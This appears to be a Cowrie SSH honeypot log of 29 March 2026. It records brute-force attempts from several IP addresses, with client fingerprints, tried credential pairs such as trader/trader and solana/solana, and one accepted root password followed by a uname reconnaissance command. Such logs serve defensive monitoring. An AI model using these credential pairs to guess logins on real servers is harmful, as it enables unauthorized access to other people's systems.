{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:14:19.265444Z","src_ip":"2.57.122.208","session":"ab650d1c7f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:14:19.361410Z","src_ip":"2.57.122.208","session":"ab650d1c7f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:14:19.658386Z","src_ip":"2.57.122.208","session":"ab650d1c7f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:14:20.827097Z","src_ip":"2.57.122.208","session":"ab650d1c7f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40378,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a87beec29d","protocol":"ssh","message":"New connection: 101.44.96.62:40378 (159.203.135.109:22) [session: 11a87beec29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:15:08.711635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:15:08.717978Z","src_ip":"101.44.96.62","session":"11a87beec29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:15:08.939263Z","src_ip":"101.44.96.62","session":"11a87beec29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:15:16.711618Z","src_ip":"101.44.96.62","session":"11a87beec29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58278,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d44d30b60e4","protocol":"ssh","message":"New connection: 2.57.122.238:58278 (10.17.0.5:22) [session: 6d44d30b60e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:13.766698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:13.771410Z","src_ip":"2.57.122.238","session":"6d44d30b60e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:13.866481Z","src_ip":"2.57.122.238","session":"6d44d30b60e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:14.152358Z","src_ip":"2.57.122.238","session":"6d44d30b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:15.250263Z","src_ip":"2.57.122.238","session":"6d44d30b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.182","src_port":21721,"dst_ip":"159.203.135.109","dst_port":22,"session":"174578e77684","protocol":"ssh","message":"New connection: 64.62.156.182:21721 (159.203.135.109:22) [session: 174578e77684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:23.219163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:23.226943Z","src_ip":"64.62.156.182","session":"174578e77684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:23.294246Z","src_ip":"64.62.156.182","session":"174578e77684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:27.227558Z","src_ip":"64.62.156.182","session":"174578e77684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"75104e164f80","protocol":"ssh","message":"New connection: 2.57.122.208:38904 (159.203.135.109:22) [session: 75104e164f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:35.827856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:35.893027Z","src_ip":"2.57.122.208","session":"75104e164f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:35.980545Z","src_ip":"2.57.122.208","session":"75104e164f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:36.481320Z","src_ip":"2.57.122.208","session":"75104e164f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:16:37.605134Z","src_ip":"2.57.122.208","session":"75104e164f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe5487c69985","protocol":"ssh","message":"New connection: 2.57.122.238:55856 (10.17.0.5:22) [session: fe5487c69985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:33.581534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:33.586524Z","src_ip":"2.57.122.238","session":"fe5487c69985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:33.686173Z","src_ip":"2.57.122.238","session":"fe5487c69985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:33.984442Z","src_ip":"2.57.122.238","session":"fe5487c69985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:35.086868Z","src_ip":"2.57.122.238","session":"fe5487c69985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbb416bab913","protocol":"ssh","message":"New connection: 2.57.122.208:45790 (159.203.135.109:22) [session: dbb416bab913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:57.051872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:57.085029Z","src_ip":"2.57.122.208","session":"dbb416bab913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:57.194427Z","src_ip":"2.57.122.208","session":"dbb416bab913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:57.922975Z","src_ip":"2.57.122.208","session":"dbb416bab913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:18:59.153210Z","src_ip":"2.57.122.208","session":"dbb416bab913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d93018c428","protocol":"ssh","message":"New connection: 101.44.96.62:39092 (159.203.135.109:22) [session: 90d93018c428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:19:58.726669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:19:58.731709Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:19:58.947031Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:19:59.591439Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:00.099869Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:00.103698Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:00.323314Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:00.328969Z","src_ip":"101.44.96.62","session":"90d93018c428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41696,"dst_ip":"159.203.135.109","dst_port":22,"session":"c235a8069e57","protocol":"ssh","message":"New connection: 101.44.96.62:41696 (159.203.135.109:22) [session: c235a8069e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:20:12.109524Z"}
